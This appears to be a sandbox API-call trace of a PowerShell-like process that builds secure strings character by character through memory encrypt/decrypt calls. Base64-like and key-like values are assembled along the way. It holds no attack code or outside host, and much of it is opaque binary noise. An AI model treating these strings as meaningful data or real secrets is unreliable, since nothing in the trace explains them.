returned 0x0 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf") returned 0x28 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf") returned 0x28 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf") returned 0x28 [0137.578] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\x67\x6e\x4c\x75\x35\x2e\x67\x69") returned 0x30 [0137.578] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew5sv秃䲲巕뭵밟䢁﹇") returned 0x30 [0137.579] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\x59ba\xf449\xcb00\x1111\xe732\x3643\x28bc\x1fc1") returned 0x30 [0137.579] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\x59ba\xf449\xcb00\x1111\xe732\x3643\x28bc\x1fc1") returned 0x30 [0137.579] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew5svf䲲巕뭵밟䢁﹇") returned 0x30 [0137.579] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\xae0d\x5290\xe2b7\xeca3\x9ac3\xa62b\x64\x4f2e") returned 0x30 [0137.579] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\xae0d\x5290\xe2b7\xeca3\x9ac3\xa62b\x64\x4f2e") returned 0x30 [0137.579] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew5svf0巕뭵밟䢁﹇") returned 0x30 [0137.579] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\x1350\xb3fe\x99f7\x55d\xd596\x8ea8\x14d3\xaae7") returned 0x30 [0137.579] SysStringLen (param_1="\x14f5\xd30\x4a84\xc534\xc668\xa13a\x518c\x6100\xe6de\xb1e0\x66d3\x4294\x9bcf\xe0ce\xd117\x7cd2\xe555\xd77\x15e5\xd3a6\x578e\x3fa4\xbdcc\xe8ce\xc0a\xe6f4\xff50\x847e\x9e20\xf046\x2394\x137f\xe35b\x6978\x160c\xe813\x728e\xd48a\x6081\xbbcf\x1350\xb3fe\x99f7\x55d\xd596\x8ea8\x14d3\xaae7") returned 0x30 [0137.579] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] SysStringLen (param_1="L25myKl6ZHvUPwJrZAux0xSTqDoSd4whvUKRew5svf0=뭵밟䢁﹇") returned 0x30 [0137.579] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0137.579] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.579] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.579] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.580] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.580] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.580] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.580] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.580] SysStringLen (param_1="") returned 0x8 [0137.580] SysStringLen (param_1="Y") returned 0x8 [0137.580] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.580] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.580] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.580] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.580] SysStringLen (param_1="YW") returned 0x8 [0137.580] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.581] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.581] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="YWM") returned 0x8 [0137.581] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.581] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.581] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="YWM1") returned 0x8 [0137.581] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.581] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.581] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="YWM1O") returned 0x8 [0137.581] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.581] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.581] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.581] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.581] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.582] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.582] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.582] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.582] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.582] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.582] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.582] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.582] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.582] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.582] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.582] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.582] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.582] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.582] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.582] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.582] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.582] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.582] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.582] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.582] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.583] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.583] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.583] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.583] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.583] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.583] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.583] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.583] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.583] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.583] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.584] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.584] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.584] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.584] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.584] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.584] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.584] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.584] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.584] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.584] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.584] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.584] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.585] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.585] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.585] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.585] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.585] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.585] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0137.585] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0137.585] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.585] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0137.585] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0137.586] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0137.586] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0137.586] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0137.586] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.586] SysStringLen 